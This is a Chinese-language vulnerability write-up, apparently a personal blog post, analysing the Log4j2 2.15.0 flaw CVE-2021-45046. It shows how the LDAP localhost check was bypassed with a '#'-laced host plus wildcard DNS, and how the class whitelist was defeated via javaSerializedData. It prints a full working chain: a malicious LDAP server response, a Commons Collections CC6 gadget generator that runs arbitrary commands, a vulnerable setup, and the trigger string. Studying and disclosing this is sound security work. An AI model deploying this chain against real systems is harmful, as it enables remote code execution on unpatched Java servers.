在CVE-2021-45046
发布2天后,和官方对线成功,将我名字4ra1n
加入了credit
中
在第3天在官方安全 页面 发现该漏洞从DoS
升级到RCE
并提高到9分
经过两天的分析和调试,我在Windows
上复现失败,但在MacOS
上确实可以成功
(由于家境贫寒买不起Mac
所以拜托了天下大木头师傅协助,成功RCE)
首先说明一个很多人都在关心的问题:只要不开lookup
就不存在漏洞
在2.15.0
版本中,无论DoS
还是RCE
都需要开启lookup
功能,如果没有特殊配置且不使用ThreadContext
等功能的情况下,是不存在漏洞的。但为了进一步的安全最好升级到最新版(目前是2.17.0
版本)
回顾核心方法,也是本文重点
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
// 限制协议必须为LDAP/LDAPS/JAVA
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
// 如果是LDAP或LDAPS情况限制Host为localhost
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
// 尝试从LDAP Server获取相关的信息
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
// 如果获取到序列化数据则判断类名是否为八大基本类型
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
// 不允许加载远程对象和远程工厂
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
// 绕过上述限制后才可以调用lookup
return (T) this.context.lookup(name);
}
2.14.1
版本RCE
的LDAP Server
这样写,注释写了防御方式。简单分析可以看出,假设真的有手段能够绕过了localhost
检测,在当前的LDAP Server
中也无法继续加载远程对象
xxxxxxxxxx
protected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException {
// className虽然不符合八大基本类型
// 但不存在javaSerializedData属性
// 所以不会进入if (attributeMap.get(SERIALIZED_DATA) != null)
e.addAttribute("javaClassName", "test");
String codeBaseStr = this.codebase.toString();
int refPos = codeBaseStr.indexOf('#');
if (refPos > 0) {
codeBaseStr = codeBaseStr.substring(0, refPos);
}
e.addAttribute("javaCodeBase", codeBaseStr);
e.addAttribute("objectClass", "javaNamingReference");
// OBJECT_FACTORY验证限制了这一步无法RCE
// 假设能够绕过localhost的检测无法处理这一步
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
所以需要想出新的方式来触发,而不是继续利用javaFactory
属性,这将在后文中写到
尝试一些URI
的绕过:如何让URI.getHost
获得到127.0.0.1
ldap://127.0.0.1:1389/badClassName
这种方式获取到的一定是127.0.0.1
。虽然可以绕过检测,但这里的URI
放入LDAP
中也只能解析到127.0.0.1
,没有操作空间。于是想到,能否让URI.getHost
合法(locaohost
或127.0.0.1
)但实际上LDAP Client
可能会把输入解析到黑客搭建的LDAP Server
的IP呢?
以下内容就是围绕这个思路展开:目标域名是4ra1n.love
参考orange
大佬在Black Hat 2017
分享的PPT
看到其中的authority
的解释,想到能否用@符号做一些事情
xxxxxxxxxx
URI uri = new URI("ldap://4ra1n.love@127.0.0.1:1389/badClassName");
System.out.println(uri.getHost());
// 打印:127.0.0.1
可绕过但不可能被解析到4ra1n.love
域名
看到PPT中另一处
编写对应的代码测试,发现#号也可以做一些事情
xURI uri1 = new URI("ldap://127.0.0.1#@4ra1n.love:1389/badClassName");
System.out.println(uri1.getHost());
URI uri2 = new URI("ldap://127.0.0.1#4ra1n.love:1389/badClassName");
System.out.println(uri2.getHost());
URI uri3 = new URI("ldap://127.0.0.1#.4ra1n.love:1389/badClassName");
System.out.println(uri3.getHost());
// 都会打印:127.0.0.1
外国佬传出的POC如下,与我的猜测不谋而合
参考上方第三种Payload
xxxxxxxxxx
ldap://127.0.0.1#.4ra1n.love:1389/badClassName
这里的Host
为127.0.0.1#.4ra1n.love
如果为4ra1n.love
域名开启泛域名解析,那么127.0.0.1#
是否会被当成一个子域名,从而访问到真正的目标IP
(泛域名解析方式的绕过是我的一种猜测,感觉最贴近真实,但不确定这是真正的原理)
以上的Payload
在Windows
中的测试会报错,LDAP Client
初始化时候出现相同的异常:UnknownHostException
尝试使用Wireshark
抓包发现没有dns
相关信息,也就是说这个异常是发请求之前报出的
从this.context.getAttributes(name)
一路跟到LDAP Client
初始化
xxxxxxxxxx
LdapClient(String var1, int var2, String var3, int var4, int var5, OutputStream var6, PoolCallback var7) throws NamingException {
// 跟入
this.conn = new Connection(this, var1, var2, var3, var4, var5, var6);
this.pcb = var7;
this.pooled = var7 != null;
}
跟到最底层,发现只是一个普通的Socket
方法:其中的var1
和var2
正是host
和port
xxxxxxxxxx
private Socket createSocket(String var1, int var2, String var3, int var4) throws Exception {
...
if (var5 == null) {
// socket
var5 = new Socket(var1, var2);
}
...
return var5;
}
Socket
源码
xxxxxxxxxx
public Socket(String host, int port)
throws UnknownHostException, IOException
{
// 如果host不为空会执行new InetSocketAddress(host, port)
this(host != null ? new InetSocketAddress(host, port) :
new InetSocketAddress(InetAddress.getByName(null), port),
(SocketAddress) null, true);
}
参考InetSocketAddress
类构造方法,找到了抛出异常的根源
xxxxxxxxxx
public InetSocketAddress(String hostname, int port) {
checkHost(hostname);
InetAddress addr = null;
String host = null;
try {
// 根源
addr = InetAddress.getByName(hostname);
} catch(UnknownHostException e) {
host = hostname;
}
holder = new InetSocketAddressHolder(host, addr, checkPort(port));
}
找到底层方法,那么可以尝试造一些Payload
测试报错情况
xxxxxxxxxx
// 正常通过域名解析到IP
System.out.println(InetAddress.getByName("4ra1n.love"));
// 报错
System.out.println(InetAddress.getByName("127.0.0.1#.4ra1n.love"));
// 报错
System.out.println(InetAddress.getByName("127.0.0.1@4ra1n.love"));
继续从InetAddress.getByName
跟下去,会到达一处native
方法
xxxxxxxxxx
public native InetAddress[]
lookupAllHostAddr(String hostname) throws UnknownHostException;
由于Wireshark
没有抓到DNS
相关的包,在这一系列的流程也没有看到处理特殊符号的代码
而国外佬在有#号的情况下能够不报错,所以我猜测是这个native
方法的原因,报错的底层是操作系统和JVM
决定的
在官方安全页面写着只有在MacOS
中才可以RCE
,后来经过测试的确只能在MacOS
中RCE
xxxxxxxxxx
remote code execution has been demonstrated on macOS but no other tested environments.
假设127.0.0.1#.4ra1n.love
可以正常拿到IP地址,接下来需要解决RCE
的问题
在文章一开始就有分析到,在2.15.0
中禁了LDAP
的javaFactory
属性导致无法加载远程类,那么还能有什么思路呢
回顾0x00核心代码中的一个if
分支
xxxxxxxxxx
// javaSerializedData属性如果存在
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
// javaClassName是否为八大基本类型
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
...
}
}
分析下lookup
底层的LdapCtx.c_lookup
方法
xxxxxxxxxx
// 一个全局数组后面会用到
static final String[] JAVA_ATTRIBUTES = new String[]{
"objectClass", // JAVA_ATTRIBUTES[0]
"javaSerializedData", // JAVA_ATTRIBUTES[1]
"javaClassName", // JAVA_ATTRIBUTES[2]
"javaFactory", // JAVA_ATTRIBUTES[3]
"javaCodeBase", // JAVA_ATTRIBUTES[4]
"javaReferenceAddress", // JAVA_ATTRIBUTES[5]
"javaClassNames", // JAVA_ATTRIBUTES[6]
"javaRemoteLocation" // JAVA_ATTRIBUTES[7]
};
其中有这样一句针对javaClassName
的校验,但仅仅是非空校验
xxxxxxxxxx
// var4是LDAP Server传过来的数据
// 如果javaClassName不为空则进入Obj.decodeObject
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
var3 = Obj.decodeObject((Attributes)var4);
}
跟入decodeObject
方法
xxxxxxxxxx
static Object decodeObject(Attributes var0) throws NamingException {
...
try {
Attribute var1;
// 如果javaSerializedData不为空
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
// 类加载器
ClassLoader var3 = helper.getURLClassLoader(var2);
// 跟入
return deserializeObject((byte[])((byte[])var1.get()), var3);
}
...
}
跟入deserializeObject
方法,没有什么限制条件
xxxxxxxxxx
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
try {
// var2中保存了序列化数据
ByteArrayInputStream var2 = new ByteArrayInputStream(var0);
try {
// 得到一个ObjectInputStream
Object var20 = var1 == null ?
new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
Throwable var21 = null;
Object var5;
try {
// 反序列化调用对象的readObject方法
var5 = ((ObjectInputStream)var20).readObject();
}
...
}
}
}
可以看到整个过程中没有对javaClassName
和javaSerializedData
验证
也就是说核心代码中类名白名单对javaClassName
的限制没有用处,可以轻松绕过
然后将javaSerializedData
属性设置为gadget
的序列化数据,即可在readObject
中触发RCE
(其实这个过程正是JDNI
绕高版本JDK
的一种方式)
上文分析出了一种RCE
的方式,但没有真正的实践
在LDAP Server
中设置javaClassName
为基本类型,然后设置javaSerializedData
为Payload
这里的java.lang.String
可以绕过类目白名单的检测
xxxxxxxxxx
protected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException {
e.addAttribute("javaClassName", "java.lang.String");
e.addAttribute("javaSerializedData", payload);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
Payload
选用了CC6
链
xxxxxxxxxx
public static byte[] getCC6(String cmd) {
try {
Transformer transformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformer, transformers);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
byte[] data = outputStream.toByteArray();
outputStream.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
我将写好的LDAP Server
部署到远程服务器上(该工具以后分享,最近不太方便)
本地引入Log4j2 2.15.0
与CC
依赖
xxxxxxxxxx
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
配置开启lookup
功能
xxxxxxxxxx
<configuration status="OFF" monitorInterval="30">
<appenders>
<console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
<PatternLayout pattern="%m{lookups}%n"/>
</console>
</appenders>
<loggers>
<root level="error">
<appender-ref ref="CONSOLE-APPENDER"/>
</root>
</loggers>
</configuration>
打日志
xxxxxxxxxx
public static void main(String[] args) throws Exception {
logger.error("${jndi:ldap://127.0.0.1#.4ra1n.love:1389/badClassName}");
}
由于我的环境是Windows
会在处理包含#号的Host
时报错,所以在this.context.getAttributes(name);
下断点并去掉#号
由于4ra1n.love
域名开启了泛域名解析,所以127.0.0.1.4ra1n.love
也会解析到对应的IP
成功利用本地的gadget
达到RCE
的效果
为了验证在MacOS
中的结果,我将漏洞环境打包发给了天下大木头师傅
然后在服务端启动MacOS
弹计算器的LDAP Server
(该工具以后分享,最近不太方便)
木头师傅成功在MacOS
上RCE
,不需要进行其他修改